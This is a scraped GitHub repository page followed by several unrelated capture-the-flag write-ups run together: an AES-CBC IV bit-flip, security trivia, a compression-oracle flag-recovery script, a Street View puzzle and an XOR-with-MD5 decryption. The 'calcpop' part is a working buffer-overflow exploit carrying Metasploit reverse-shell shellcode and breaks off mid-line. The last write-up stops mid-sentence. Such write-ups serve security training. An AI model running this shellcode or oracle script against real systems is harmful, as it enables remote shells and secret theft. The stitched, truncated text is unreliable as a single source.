class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/SuperVirus/CTF/refs" cache-key="v0:1445170257.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="U3VwZXJWaXJ1cy9DVEY=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>2015</span></span><span>/</span><span><span>Hackover_CTF_2015</span></span><span>/</span><span><span>crypto</span></span><span>/</span>100-nodistinguisher<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>2015</span></span><span>/</span><span><span>Hackover_CTF_2015</span></span><span>/</span><span><span>crypto</span></span><span>/</span>100-nodistinguisher<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/SuperVirus/CTF/tree-commit/4faf8bc2834be3213a504ca64c52e6da1fc95ddc/2015/Hackover_CTF_2015/crypto/100-nodistinguisher" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/SuperVirus/CTF/file-list/master/2015/Hackover_CTF_2015/crypto/100-nodistinguisher"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>nodistinguisher.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# No Crypto (Crypto 200) ```The folowing plaintext has been encrypted using an unknown key, with AES-128 CBC:Original: Pass: sup3r31337. Don't loose it!Encrypted: 4f3a0e1791e8c8e5fefe93f50df4d8061fee884bcc5ea90503b6ac1422bda2b2b7e6a975bfc555f44f7dbcc30aa1fd5eIV: 19a9d10c3b155b55982a54439cb05dce How would you modify it so that it now decrypts to: "Pass: notAs3cre7. Don't loose it!" This challenge does not have a specific flag format.``` I don't have prior knowledge about AES-128 CBC. Wikipedia explains a little: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29 AES is a block cypher. That means that for encryption the input is first split in blocks, and then each block is encrypted individually. CBC is a way of encrypting blocks so that a change in one block also changes other blocks. It's AES-128, so it uses blocks of 128 bits = 16 bytes. These are our blocks: block 1: Pass: sup3r31337 block 2: . Don't loose it block 3: ! Block 3 gets appended with \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0eThe last byte is the amount of bytes the decrypter should ignore. I searched the web with my favorite search engine for known attacks on CBC and it came up with these results: 0. http://www.jakoblell.com/blog/2013/12/22/practical-malleability-attack-against-cbc-encrypted-luks-partitions/#toc-20. http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/ The idea of these attacks is: By XORing the ciphertext of block N with x, we corrupt block N and XOR the plaintext of block N+1 with x. This image from the resources.infosecinstitute.com link is pretty neat: ![Scheme](http://i.imgur.com/27E9fHG.jpg) The attacks work because the plaintext gets XOR'ed with the previous ciphertext after going through AES, and we can control all of the ciphertext.As a side effect, we mess up the original block completely. We can't afford to mess up a block however. We can maybe afford to mess up some bits from the last block, because the appended bytes should be ignored.Also, the attacks don't allow modification of the first block because modifying the previous ciphertext is required. If only we could modify the IV... Oh wait! We don't neccecarilly need to modify the ciphertext. The question is: "How would you modify _it_", so maybe patching the IV will do: #!/usr/bin/python # python normally only xor's integers. This function is for xor-ing strings def xor(xs, ys): return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys)) iv_hex = "19a9d10c3b155b55982a54439cb05dce" iv = iv_hex.decode("hex") block_a_original = "Pass: sup3r31337" block_a_target = "Pass: notAs3cre7" # Get the difference between the original and target to know what bits to flip: block_a_patch = xor(block_a_original, block_a_target) # flip the bits and print the flag! print xor(iv, block_a_patch).encode("hex") __Congratulations!__ Challenge solved. You received 200 points.
#Trivia_All_Of_Them **Category:** Trivia**Points:** 10 each **Description:** trivia questions (nerd stuff) ##Write-upAll the trivia challenges were solved quickly by googling around. We tried to inlude links to good resources about each topic. Trivia 1--------Q: This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups. A: plugX , took a little trial and error since there are so many malware families connected to Chinese hacking groups. More information about plugx can be found at [this blackhat talk](https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf). Trivia 2--------Q: No More Free __! A: Bugs, It's a meme starting at security conference CanSecWest, [Trail of Bits' website](http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/) Trivia 3--------Q: This mode on x86 is generally referred to as ring -2. A: System Management Mode , this was from the best talk of BlackHat 2015 by Christopher Domas. It blew everyone's mind how you can use System Management Mode's memory space to create privilege escalation on 100,000's of Intel based devices. You can read more about it at [blackHat.com](https://www.blackhat.com/images/page-graphics-usa-15/us-15-whitepaper.png) Trivia 4--------Q: This vulnerability occurs when the incorrect timing/sequence of events may cause a bug. A: Race Condition, this is a common problem with single threaded apps or those that are multithreaded but share common objects/files/cookies/database values/or whatever.. more detail can be found on [wikipedia](https://en.wikipedia.org/wiki/Race_condition) Trivia 5--------Q: On Windows, loading a library and having it's code run in another process is called _ . A: DLL Injection, here's a [tutorial](http://resources.infosecinstitute.com/api-hooking-and-dll-injection-on-windows/) Trivia 6--------Q: This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. The flag is his twitter handle. A: A little googling on a cell phone while looking at other challenges found this one. Rob Fuller [Mubix!](https://twitter.com/mubix)
The server checks the password attaches the flag and several word to it, gzip it, encrypts it with aes in cbc mode and sends it us back. The encryption seems to be implemented well, and full decryption of the CT seems to be impossible. But since the answer with our password and the flag is compressed before encryption, we have a little information leakage channel though the size of CT.If there's same substring in our password and in the flag, then the answer would be compressed better; the longer the substring is the better the compression would be. This way we can recover the flag char by char.We try all printable charaters by sending'hxp{' + c + n_random_characters, wherec is the character we tryn_random_characters - string of random characters of length n.If we choose n properly, then we'll get shorter answer for the right character c, then for any other. (lenght of CT of aes_cbc is multiple of 16 bytes, we need to choose n such that the length of compressed answer would be at the edge between blocks)So, the listing:import socketimport osimport stringflag = b'hxp{' def rand_chars(n):    s = ''    for i in range(n):        c = chr(os.urandom(1)[0])        while c == ' ' or c == '\n' or c not in string.printable:            c = chr(os.urandom(1)[0])        s += c    return s.encode()def get_ans_len(pwd):    sock = socket.socket()    sock.connect(('131.159.74.81', 1033))    sock.send(pwd + b' a\n')    ans = sock.recv(4096)    return len(ans)len_to_send = 28def check_flag(flag_beg, chars_to_verify):  # checks which letter from chars_to_verify is the next letter of flag_beg    global len_to_send    while len(chars_to_verify) > 1:        print("Verifying charset: %s" % chars_to_verify)        lens = {}        suf = rand_chars(len_to_send - len(flag_beg) - 1)        for c in chars_to_verify:            lens[c] = get_ans_len(flag_beg + c.encode() + suf)        print(lens)        if min(lens.values()) == max(lens.values()):  # we need to tune len_to_send to get back to the edge between cipher blocks            if min(lens.values()) <= 289:                len_to_send += 1                print("increased len: %u" % len_to_send)            else:                len_to_send -= 1                 print("decreased len: %u" % len_to_send)        for c in lens.keys():            if lens[c] > min(lens.values()):                chars_to_verify = chars_to_verify.replace(c, '')    print(flag_beg + chars_to_verify[0].encode())    return chars_to_verify[0].encode()while flag[-1] != b'}':    c = check_flag(flag, string.ascii_letters + string.digits + '_}')  # .replace('\n', '').replace(' ', ''))    flag += cAnd the flag:hxp{1_r34LLy_L1k3_0r4cL3s__n0T_7h3_c0mp4nY}
```#!/usr/bin/python # 9447 Security Society CTF 2015 : calcpop# author: NULL Life# https://twitter.com/marceloje# https://twitter.com/NullLifeTeam import telnetlib, struct # linux/x86/shell_reverse_tcp metasploit shellcode sc = "\x90"*16 # overwrited by sending commands ("exit\n")sc += "\xbe\xc1\x76\x74\x46\xd9\xcd\xd9\x74\x24\xf4\x5d\x2b"sc += "\xc9\xb1\x12\x83\xed\xfc\x31\x75\x0e\x03\xb4\x78\x96"sc += "\xb3\x07\x5e\xa1\xdf\x34\x23\x1d\x4a\xb8\x2a\x40\x3a"sc += "\xda\xe1\x03\xa8\x7b\x4a\x3c\x02\xfb\xe3\x3a\x65\x93"sc += "\x46\xe7\xe3\x7d\xc1\x1a\x0c\x90\x4d\x92\xed\x22\x0b"sc += "\xf4\xbc\x11\x67\xf7\xb7\x74\x4a\x78\x95\x1e\x7a\x56"sc += "\x69\xb6\xec\x87\xef\x2f\x83\x5e\x0c\xfd\x08\xe8\x32"sc += "\xb1\xa4\x27\x34" tn = telnetlib.Telnet("calcpop-4gh07blg.9447.plumbing", 9447) tn.read_until("calc.exe\n")tn.write("1\n")tn.read_until("was ") # leaked address from stack buffer + shellcode start offsetaddr = int(tn.read_until("\n"), 16) + 16 # shellcode + padding + return addresstn.write(sc + "\x90"*(156-len(sc)) + struct.pack('
##4w1h (misc, 100p) `Hint! The flag is made up of the direction each image is looking in, like 9447{NWSE}` ###PL[ENG](#eng-version) Dostajemy w zadaniu 10 obrazów i zgodnie z podpowiedzią mamy sprawdzić w jakim kierunku patrzy kamera która robiła dane zdjęcie. ![](img/0.png) https://www.google.pl/maps/@-22.9578184,-43.2061834,3a,75y,320.83h,104.41t/data=!3m6!1e1!3m4!1sTb-FwFIg4x6lhjWEBHbLbQ!2e0!7i13312!8i6656 NW ![](img/1.png) https://www.google.pl/maps/@1.2890586,103.8542089,3a,75y,171.52h,90.31t/data=!3m6!1e1!3m4!1sabxkNWrPgqE6p_8s8QZLnQ!2e0!7i13312!8i6656 S ![](img/2.png) https://www.google.pl/maps/@-33.8576596,151.209252,3a,44.5y,8.57h,91.35t/data=!3m6!1e1!3m4!1sM6Art2b882XlIU7EEphbmw!2e0!7i13312!8i6656 N ![](img/3.png) https://www.google.pl/maps/@43.0836224,-79.077298,3a,75y,141.49h,73.97t/data=!3m6!1e1!3m4!1siL1i6KTNVw0j8BXMH_CnlA!2e0!7i13312!8i6656!6m1!1e1 SE ![](img/4.png) https://www.google.pl/maps/@38.8893105,-77.0328766,3a,75y,277.92h,89.09t/data=!3m6!1e1!3m4!1sGXxnHvvXIh9ZIcV1gfjbxA!2e0!7i13312!8i6656!6m1!1e1 W ![](img/5.png) https://www.google.pl/maps/@48.8611422,2.3341197,3a,75y,48.8h,85.07t/data=!3m6!1e1!3m4!1spi8i58rsnwwXFC_3_3Ko6w!2e0!7i13312!8i6656!6m1!1e1 NE ![](img/6.png) https://www.google.pl/maps/@59.9398238,30.3155033,3a,75y,313.41h,100.58t/data=!3m6!1e1!3m4!1smTEhn-Y1rbv3orgeV5DbNw!2e0!7i13312!8i6656 NW ![](img/7.png) https://www.google.pl/maps/@41.882726,-87.6225599,3a,75y,273.93h,89.85t/data=!3m6!1e1!3m4!1sQZFXb5I7gYZegqvmi7kYOQ!2e0!7i13312!8i6656 W ![](img/8.png) https://www.google.pl/maps/@37.5750684,126.9768249,3a,75y,0.59h,85.8t/data=!3m6!1e1!3m4!1snQzQJfkLNSVcHQizsrBV2g!2e0!7i13312!8i6656!6m1!1e1 N ![](img/9.jpg) Zdjęcie bieguna południowego więc S `9447{NWSNSEWNENWWNS}` ### ENG version We get 10 pictures and according to hint we need to check the direction in which the camera is pointing. ![](img/0.png) https://www.google.pl/maps/@-22.9578184,-43.2061834,3a,75y,320.83h,104.41t/data=!3m6!1e1!3m4!1sTb-FwFIg4x6lhjWEBHbLbQ!2e0!7i13312!8i6656 NW ![](img/1.png) https://www.google.pl/maps/@1.2890586,103.8542089,3a,75y,171.52h,90.31t/data=!3m6!1e1!3m4!1sabxkNWrPgqE6p_8s8QZLnQ!2e0!7i13312!8i6656 S ![](img/2.png) https://www.google.pl/maps/@-33.8576596,151.209252,3a,44.5y,8.57h,91.35t/data=!3m6!1e1!3m4!1sM6Art2b882XlIU7EEphbmw!2e0!7i13312!8i6656 N ![](img/3.png) https://www.google.pl/maps/@43.0836224,-79.077298,3a,75y,141.49h,73.97t/data=!3m6!1e1!3m4!1siL1i6KTNVw0j8BXMH_CnlA!2e0!7i13312!8i6656!6m1!1e1 SE ![](img/4.png) https://www.google.pl/maps/@38.8893105,-77.0328766,3a,75y,277.92h,89.09t/data=!3m6!1e1!3m4!1sGXxnHvvXIh9ZIcV1gfjbxA!2e0!7i13312!8i6656!6m1!1e1 W ![](img/5.png) https://www.google.pl/maps/@48.8611422,2.3341197,3a,75y,48.8h,85.07t/data=!3m6!1e1!3m4!1spi8i58rsnwwXFC_3_3Ko6w!2e0!7i13312!8i6656!6m1!1e1 NE ![](img/6.png) https://www.google.pl/maps/@59.9398238,30.3155033,3a,75y,313.41h,100.58t/data=!3m6!1e1!3m4!1smTEhn-Y1rbv3orgeV5DbNw!2e0!7i13312!8i6656 NW ![](img/7.png) https://www.google.pl/maps/@41.882726,-87.6225599,3a,75y,273.93h,89.85t/data=!3m6!1e1!3m4!1sQZFXb5I7gYZegqvmi7kYOQ!2e0!7i13312!8i6656 W ![](img/8.png) https://www.google.pl/maps/@37.5750684,126.9768249,3a,75y,0.59h,85.8t/data=!3m6!1e1!3m4!1snQzQJfkLNSVcHQizsrBV2g!2e0!7i13312!8i6656!6m1!1e1 N ![](img/9.jpg) Picture of South Pole so S `9447{NWSNSEWNENWWNS}`
We are given a CT:69 35 41 01 1C 9E 75 78 5D 48 FB F0 84 CD 66 79 55 30 49 4C 56 D2 73 70 12 45 A8 BA 85 C0 3E 53 73 1B 78 2A 4B E9 77 26 5E 73 BF AA 85 9C 15 6F 54 2C 73 1B 58 8A 66 48 5B 19 84 B0 80 CA 33 73 5C 52 0C 4C 10 9E 32 37 12 0C FB BA CB 8F 6A 53 01 78 0C 4C 10 9E 32 37 12 0C FB BA CB 8F 6A 53 01 78 0C 4C 10 9E 32 37 12 0C FB BA CB 8F 6A 53 01 78 0C 4C 10 9E 32 37 12 0C 89 D5 A2 FCThe title of the task gives us a hint, that that's an xor with md5. The length of md5 is 16 bytes. There are repeating 16-byte sequences at the end of the CT. Let's assume this file is zero-padded, this repeating sequence (01 78 0C 4C 10 9E 32 37 12 0C FB BA CB 8F 6A 53) is the md5 and xor it.<span>    00000000  68 4d 4d 4d 0c 00 47 4f  4f 44 00 4a 4f 42 0c 2a  |hMMM..GOOD.JOB.*|</span><span>    00000010  54 48 45 00 46 4c 41 47  00 49 53 00 4e 4f 54 00  |THE.FLAG.IS.NOT.|</span><span>    00000020  72 63 74 66 5b 77 45 11  4c 7f 44 10 4e 13 7f 3c  |rctf[wE.L.D.N..<|</span><span>    00000030  55 54 7f 57 48 14 54 7f  49 15 7f 0a 4b 45 59 20  |UT.WH.T.I...KEY |</span><span>    00000040  5d 2a 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |]*..............|</span><span>    00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|</span><span>    00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|</span><span>    00000070  00 00 00 00 00 00 00 00  00 00 72 6f 69 73        |..........rois|</span>We get some text, but it contains errors and there's 0x00 between words. May be the text was padded with  spaces? Let's xor it with 0x20:    00000000  48 6d 6d 6d 2c 20 67 6f  6f 64 20 6a 6f 62 2c 0a  |Hmmm, good job,.|<span>    00000010  74 68 65 20 66 6c 61 67  20 69 73 20 6e 6f 74 20  |the flag is not |</span><span>    00000020  52 43 54 46 7b 57 65 31  6c 5f 64 30 6e 33 5f 1c  |RCTF{We1l_d0n3_.|</span><span>    00000030  75 74 5f 77 68 34 74 5f  69 35 5f 2a 6b 65 79 00  |ut_wh4t_i5_*key.|</span><span>    00000040  7d 0a 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |}.              |</span><span>    00000050  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |</span><span>    00000060  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |</span><span>    00000070  20 20 20 20 20 20 20 20  20 20 52 4f 49 53        |          ROIS|</span>Now there are errors only on every 16'th position. May be there was '*' after the word "key" too? After xor'ing it with 0000000000000000000000000000002a we get the plain text:<span>    Hmmm, good job, the 